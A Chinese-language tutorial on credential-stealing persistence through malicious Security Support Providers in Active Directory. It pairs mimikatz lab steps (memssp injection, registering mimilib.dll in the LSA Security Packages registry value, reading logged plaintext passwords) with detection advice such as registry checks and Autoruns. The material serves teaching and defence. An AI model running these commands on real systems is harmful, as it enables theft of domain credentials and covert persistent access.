AD域SSP权限维持与安全防护
字数 1205 2025-08-25 22:58:40
AD域SSP权限维持与安全防护技术文档
一、SSP/SSPI基础概念
1.1 SSP定义
SSP(Security Support Provider)是Windows操作系统安全机制的提供者,实质上是DLL文件,主要用于Windows操作系统的身份认证功能,包括:
- NTLM
- Kerberos
- Negotiate
- Secure Channel (Schannel)
- Digest
- Credential (CredSSP)
1.2 SSPI定义
SSPI(Security Support Provider Interface)是Windows操作系统在执行认证操作时使用的API接口,可以理解为SSP的API接口。
1.3 相关系统组件
- LSA(Local Security Authority):负责本地安全和身份验证
- lsass.exe:Windows系统进程,用于实现本地安全和登录策略
二、SSP权限维持攻击原理
攻击者通过扩展LSA,将自定义的恶意DLL文件在系统启动时加载到lsass.exe进程中,从而:
- 获取lsass.exe进程中的明文密码
- 即使用户更改密码并重新登录,仍能获取新密码
- 实现持久化权限维持
三、攻击实验操作
3.1 实验一:内存注入SSP(非持久化)
步骤:
- 使用mimikatz执行以下命令:
privilege::debug misc::memssp - 注销当前用户并重新登录
- 获取明文密码(存储在
C:\Windows\system32\mimilsa.log中):type C:\Windows\system32\mimilsa.log
特点:
- 不会在系统中留下二进制文件
- 域控制器重启后注入的SSP会丢失
3.2 实验二:DLL注册表注入(持久化)
步骤:
-
将mimikatz的mimilib.dll复制到系统目录:
copy mimilib.dll %systemroot%\system32注意:DLL位数需与Windows系统位数相同
-
查询当前Security Packages:
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" -
修改注册表添加mimilib(需在PowerShell下执行):
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ -
系统重启后,登录凭证将被记录在:
C:\Windows\system32\kiwissp.log
特点:
- 系统重启后仍有效
- 实现持久化权限维持
四、安全防护措施
4.1 注册表检查
检查以下注册表项是否存在可疑DLL:
hklm\system\currentcontrolset\control\lsa\Security Packages
4.2 文件系统检查
检查系统目录是否存在可疑DLL:
%windir%\System32
4.3 使用第三方工具检测
推荐使用Microsoft Sysinternals套件中的Autoruns工具:
- 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns
- 重点检查LSA加载项
五、参考资源
六、总结
SSP权限维持是一种高级的持久化攻击技术,攻击者通过注入恶意SSP可以持续获取系统认证凭据。防御此类攻击需要:
- 定期检查注册表和系统目录
- 监控lsass.exe进程异常行为
- 使用专业工具进行安全审计
- 实施最小权限原则,限制对关键系统组件的访问